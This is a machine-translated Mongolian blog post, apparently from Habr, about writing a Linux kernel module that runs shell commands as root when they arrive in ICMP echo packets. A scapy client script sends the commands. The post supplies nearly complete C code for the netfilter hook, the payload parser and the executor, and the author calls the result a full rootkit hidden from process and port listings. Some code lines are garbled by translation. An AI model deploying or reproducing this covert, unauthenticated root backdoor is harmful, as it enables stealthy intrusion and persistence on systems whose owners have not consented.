ICMP дээрх цөмийн бүрхүүл

ICMP дээрх цөмийн бүрхүүл

TL, DR: Би ICMP ачааллын командуудыг уншиж, таны SSH гацсан ч сервер дээр гүйцэтгэх цөмийн модулийг бичиж байна. Хамгийн тэвчээргүй хүмүүсийн хувьд бүх код нь байдаг github.

Анхааруулга Туршлагатай Си програмистууд нулимс асгаруулж болзошгүй! Би бүр нэр томьёогоор алдаатай байж магадгүй, гэхдээ аливаа шүүмжлэлийг хүлээн авна. Энэхүү нийтлэл нь Си програмчлалын талаар маш бүдүүлэг ойлголттой бөгөөд Линуксийн дотоод талыг судлахыг хүсдэг хүмүүст зориулагдсан болно.

Миний анхны сэтгэгдэл дээр нийтлэл Зарим "энгийн" протоколуудыг, тухайлбал HTTPS, ICMP, тэр байтугай DNS-ийг дуурайж чаддаг SoftEther VPN-ийг дурьдсан. Би HTTP(S)-ийг маш сайн мэддэг учраас ICMP болон DNS дээр туннел хийж сурах шаардлагатай болсон тул зөвхөн эхнийх нь ажиллаж байна гэж төсөөлж байна.

ICMP дээрх цөмийн бүрхүүл

Тийм ээ, 2020 онд би ICMP пакетуудад дурын ачааллыг оруулж болохыг мэдсэн. Гэхдээ хэзээ ч байснаас оройтсон нь дээр! Нэгэнт энэ талаар ямар нэг зүйл хийх боломжтой тул үүнийг хийх хэрэгтэй. Би өдөр тутмын амьдралдаа командын мөрийг, тэр дундаа SSH ашиглан ихэвчлэн ашигладаг тул ICMP бүрхүүлийн санаа хамгийн түрүүнд санаанд орж ирсэн. Бүтэн bullshield бинго угсрахын тулд би үүнийг Линуксийн модуль болгон өөрт байгаа бараг л төсөөлөлтэй хэлээр бичихээр шийдсэн. Ийм бүрхүүл нь процессуудын жагсаалтад харагдахгүй, та үүнийг цөмд ачаалж болох бөгөөд энэ нь файлын системд байхгүй, сонсох портуудын жагсаалтад сэжигтэй зүйл харагдахгүй. Чадавхийн хувьд энэ бол бүрэн хэмжээний rootkit боловч үүнийг сайжруулж, ачааллын дундаж нь SSH-ээр нэвтэрч, ядаж ажиллуулахад хэт өндөр байгаа үед үүнийг хамгийн сүүлийн арга хэрэгсэл болгон ашиглах болно гэж найдаж байна. echo i > /proc/sysrq-triggerдахин ачаалахгүйгээр хандалтыг сэргээх.

Бид текст засварлагч, Python болон C програмчлалын үндсэн ур чадвар, Google болон виртуал Хэрэв бүх зүйл эвдэрвэл (заавал биш - орон нутгийн VirtualBox/KVM/ гэх мэт) хутганы доор тавихад дургүйцэхгүй, явцгаая!

Үйлчлүүлэгч тал

Үйлчлүүлэгчийн хувьд би 80-аад мөртэй зохиол бичих ёстой юм шиг санагдаж байсан ч надад зориулж хийсэн сайхан сэтгэлтэй хүмүүс байсан. бүх ажил. Код нь санаанд оромгүй энгийн бөгөөд 10 чухал мөрөнд багтсан байв.

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Скрипт нь хаяг, ачаалал гэсэн хоёр аргументыг авдаг. Илгээхийн өмнө ачааны өмнө түлхүүр байна run:, санамсаргүй ачаалал бүхий багцуудыг хасахын тулд бидэнд хэрэгтэй болно.

Цөм нь багц үүсгэх давуу эрх шаарддаг тул скриптийг супер хэрэглэгчээр ажиллуулах шаардлагатай болно. Гүйцэтгэх зөвшөөрөл өгч, scapy-г өөрөө суулгахаа бүү мартаарай. Debian-д багц байдаг python3-scapy. Одоо та энэ бүхэн хэрхэн ажилладагийг шалгаж болно.

Командыг ажиллуулж, гаргаж байна
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Үнэрчинд ийм харагдаж байна
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Хариултын багц дахь ачаалал өөрчлөгдөхгүй.

Цөмийн модуль

Debian виртуал машин бүтээхийн тулд танд дор хаяж хэрэгтэй болно make и linux-headers-amd64, үлдсэн хэсэг нь хамаарлын хэлбэрээр ирнэ. Би нийтлэл дэх кодыг бүхэлд нь өгөхгүй, та үүнийг Github дээр хуулбарлаж болно.

Дэгээний тохиргоо

Эхлэхийн тулд модулийг ачаалах, буулгахын тулд бидэнд хоёр функц хэрэгтэй. Буулгах функц шаардлагагүй, гэхдээ дараа нь rmmod Энэ нь ажиллахгүй, модулийг зөвхөн унтарсан үед л буулгах болно.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Энд юу болоод байна:

  1. Модуль болон сүлжээ шүүлтүүрийг удирдахын тулд хоёр толгой файлыг татаж авдаг.
  2. Бүх үйлдлүүд нь сүлжээний шүүлтүүрээр дамждаг тул та түүнд дэгээ тавьж болно. Үүнийг хийхийн тулд та дэгээг тохируулах бүтцийг зарлах хэрэгтэй. Хамгийн чухал зүйл бол дэгээ хэлбэрээр гүйцэтгэх функцийг зааж өгөх явдал юм. nfho.hook = icmp_cmd_executor; Би дараа нь функц руугаа орох болно.
    Дараа нь би багцыг боловсруулах хугацааг тохируулсан: NF_INET_PRE_ROUTING багцыг цөмд анх гарч ирэхэд нь боловсруулахыг зааж өгдөг. Ашиглаж болно NF_INET_POST_ROUTING пакетыг цөмөөс гарах үед боловсруулах.
    Би шүүлтүүрийг IPv4 болгож тохируулсан: nfho.pf = PF_INET;.
    Би дэгээгээ хамгийн түрүүнд тавьдаг: nfho.priority = NF_IP_PRI_FIRST;
    Мөн би өгөгдлийн бүтцийг бодит дэгээ болгон бүртгэдэг: nf_register_net_hook(&init_net, &nfho);
  3. Эцсийн функц нь дэгээг арилгадаг.
  4. Хөрвүүлэгч гомдол гаргахгүйн тулд лицензийг тодорхой зааж өгсөн болно.
  5. Чиг үүрэг module_init() и module_exit() модулийг эхлүүлэх, дуусгах бусад функцуудыг тохируулна уу.

Ачааллыг татаж байна

Одоо бид ачаагаа гаргаж авах хэрэгтэй, энэ нь хамгийн хэцүү ажил болж хувирав. Цөмд ашигтай ачаалалтай ажиллах функц байхгүй тул та зөвхөн дээд түвшний протоколуудын толгой хэсгийг задлан шинжлэх боломжтой.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Юу болоод байна:

  1. Би энэ удаад IP болон ICMP толгойг удирдахын тулд нэмэлт толгой файлуудыг оруулах шаардлагатай болсон.
  2. Би хамгийн дээд шугамын уртыг тохируулсан: #define MAX_CMD_LEN 1976. Яагаад яг энэ вэ? Учир нь хөрвүүлэгч энэ талаар гомдоллож байна! Тэд надад стек, овоолгыг ойлгох хэрэгтэй гэж аль хэдийн санал болгосон, хэзээ нэгэн цагт би үүнийг хийх нь гарцаагүй бөгөөд магадгүй кодыг ч засах болно. Би тэр даруй тушаалыг агуулсан мөрийг тохируулна: char cmd_string[MAX_CMD_LEN];. Энэ нь бүх функцэд харагдах ёстой, би энэ талаар 9-р зүйлд илүү дэлгэрэнгүй ярих болно.
  3. Одоо бид эхлүүлэх хэрэгтэй (struct work_struct my_work;) бүтэц, түүнийг өөр функцтэй холбох (DECLARE_WORK(my_work, work_handler);). Энэ нь яагаад хэрэгтэй байгаа талаар би есдүгээр догол мөрөнд бас ярих болно.
  4. Одоо би дэгээ болох функцийг зарлаж байна. Төрөл ба хүлээн зөвшөөрөгдсөн аргументуудыг сүлжээ шүүлтүүрээр зааж өгдөг бөгөөд бид зөвхөн сонирхдог skb. Энэ бол пакетийн талаарх бүх мэдээллийг агуулсан өгөгдлийн үндсэн бүтэц болох сокет буфер юм.
  5. Функц ажиллахын тулд танд хоёр бүтэц, хэд хэдэн хувьсагч, түүний дотор хоёр давталт хэрэгтэй болно.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Бид логикоор эхэлж болно. Модуль ажиллахын тулд ICMP Echo-ээс өөр пакет шаардлагагүй тул бид суулгасан функцуудыг ашиглан буферийг задлан шинжилж, ICMP болон Echo бус бүх пакетуудыг хаядаг. Буцах NF_ACCEPT Энэ нь багцыг хүлээн зөвшөөрч байгаа гэсэн үг боловч та буцаах замаар багцаа хаяж болно NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    IP толгойг шалгахгүйгээр юу болохыг би туршиж үзээгүй. С-ийн талаарх миний хамгийн бага мэдлэг надад нэмэлт шалгалт хийхгүй бол ямар нэгэн аймшигтай зүйл тохиолдох болно гэдгийг хэлдэг. Хэрэв та намайг үүнээс ятгавал би баяртай байх болно!

  7. Одоо багц нь танд яг хэрэгтэй төрөл байгаа тул та өгөгдлийг задлах боломжтой. Суурилуулсан функцгүй бол эхлээд ачааллын эхэнд заагч авах хэрэгтэй. Энэ нь нэг газар хийгдсэн тул та заагчийг ICMP толгойн эхэнд аваачиж, энэ толгойн хэмжээ рүү шилжүүлэх хэрэгтэй. Бүх зүйл бүтцийг ашигладаг icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Толгойн төгсгөл нь ачааллын төгсгөлтэй тохирч байх ёстой skbТиймээс бид үүнийг холбогдох бүтцээс цөмийн аргаар олж авдаг. tail = skb_tail_pointer(skb);.

    ICMP дээрх цөмийн бүрхүүл

    Зургийг хулгайлсан Эндээс, та сокет буферийн талаар илүү ихийг уншиж болно.

  8. Эхлэл ба төгсгөлд заагчтай болсны дараа та өгөгдлийг мөр болгон хуулж болно cmd_string, угтвар байгаа эсэхийг шалгана уу run: болон, Хэрэв багц байхгүй бол хаях, эсвэл энэ угтварыг устгаж мөрийг дахин бичнэ үү.
  9. Ингээд л та өөр зохицуулагч руу залгаж болно: schedule_work(&my_work);. Ийм дуудлагад параметр дамжуулах боломжгүй тул тушаал бүхий мөр нь глобал байх ёстой. schedule_work() нь дамжуулсан бүтэцтэй холбоотой функцийг даалгавар төлөвлөгчийн ерөнхий дараалалд байрлуулж дуусгах бөгөөд ингэснээр команд дуусахыг хүлээхгүй байх боломжийг олгоно. Энэ нь зайлшгүй шаардлагатай, учир нь дэгээ нь маш хурдан байх ёстой. Үгүй бол таны сонголт бол юу ч эхлэхгүй, эсвэл та цөмийн сандрах болно. Саатал бол үхэлтэй адил!
  10. Ингээд л та багцыг зохих өгөөжтэй нь хүлээн авч болно.

Хэрэглэгчийн талбарт програмыг дуудаж байна

Энэ функц нь хамгийн ойлгомжтой юм. Нэрийг нь өгсөн DECLARE_WORK(), төрөл болон хүлээн зөвшөөрөгдсөн аргументууд нь сонирхолтой биш юм. Бид тушаалын дагуу мөрийг авч, бүхэлд нь бүрхүүл рүү дамжуулдаг. Түүнд задлан шинжилгээ хийх, хоёртын файлуудыг хайх болон бусад бүх зүйлийг шийдээрэй.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Аргументуудыг мөрийн массив болгон тохируулна уу argv[]. Програмууд нь хоосон зайтай үргэлжилсэн шугам биш харин яг ийм байдлаар хийгддэг гэдгийг хүн бүр мэддэг байх гэж би бодож байна.
  2. Орчны хувьсагчдыг тохируулах. Би зөвхөн хамгийн бага багц зам бүхий PATH-г оруулсан бөгөөд бүгдийг нь аль хэдийн нэгтгэсэн гэж найдаж байна /bin с /usr/bin и /sbin с /usr/sbin. Практикт бусад замууд бараг чухал биш юм.
  3. Дууслаа, хийцгээе! Цөмийн функц call_usermodehelper() оруулгыг хүлээн авна. хоёртын системд хүрэх зам, аргументуудын массив, орчны хувьсагчдын массив. Энд би бас хүн бүр гүйцэтгэх файлд хүрэх замыг тусдаа аргумент болгон дамжуулж байгаа утгыг ойлгодог гэж бодож байна, гэхдээ та асууж болно. Сүүлийн аргумент нь процесс дуусах хүртэл хүлээх эсэхийг зааж өгдөг (UMH_WAIT_PROC), процесс эхлэх (UMH_WAIT_EXEC) эсвэл огт хүлээхгүй (UMH_NO_WAIT). Өөр бас байна уу UMH_KILLABLE, би үүнийг судалж үзээгүй.

Ассемблер

Цөмийн модулиудын угсралтыг цөмийн make-framework ашиглан гүйцэтгэдэг. Дуудсан make цөмийн хувилбарт холбогдсон тусгай лавлах дотор (энд тодорхойлогдсон: KERNELDIR:=/lib/modules/$(shell uname -r)/build), модулийн байршлыг хувьсагч руу шилжүүлнэ M аргументуудад. icmpshell.ko болон цэвэр зорилтууд энэ хүрээг бүхэлд нь ашигладаг. IN obj-m модуль болгон хувиргах объектын файлыг заана. Дахин бүтээдэг синтакс main.o в icmpshell.o (icmpshell-objs = main.o) надад тийм ч логик харагдахгүй байна, гэхдээ тийм байх.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Бид цуглуулдаг: make. Ачааж байна: insmod icmpshell.ko. Дууслаа, та шалгаж болно: sudo ./send.py 45.11.26.232 "date > /tmp/test". Хэрэв таны машин дээр файл байгаа бол /tmp/test мөн энэ нь хүсэлтийг илгээсэн огноог агуулдаг бөгөөд энэ нь та бүх зүйлийг зөв хийсэн, би бүгдийг зөв хийсэн гэсэн үг юм.

дүгнэлт

Цөмийн бүтээн байгуулалтын анхны туршлага миний бодож байснаас хамаагүй хялбар байсан. Би хөрвүүлэгчийн зөвлөмж, Google-ийн үр дүнд анхаарлаа төвлөрүүлж, Си хэлийг хөгжүүлэх туршлагагүй ч гэсэн ажиллах модуль бичиж, цөмийн хакер, тэр үед скрипт хүүхэд шиг санагдаж чадсан. Нэмж дурдахад би Kernel Newbies суваг руу очсон бөгөөд үүнийг ашиглах ёстой гэж хэлсэн schedule_work() залгахын оронд call_usermodehelper() дотор нь дэгээ өөрөө, түүнийг ичгүүртэй, зөв ​​сэжиглэж, луйвар. Зуун мөр код надад чөлөөт цагаараа долоо хоног орчим хөгжүүлэлт хийхэд зарцуулагддаг. Системийн хөгжлийн асар нарийн төвөгтэй байдлын талаарх миний хувийн домгийг устгасан амжилттай туршлага.

Хэрэв хэн нэгэн Github дээр кодын шалгалт хийхийг зөвшөөрвөл би талархах болно. Би маш их тэнэг алдаа гаргасан гэдэгт итгэлтэй байна, ялангуяа утсаар ажиллахдаа.

ICMP дээрх цөмийн бүрхүүл

Эх сурвалж: www.habr.com

сэтгэгдэл нэмэх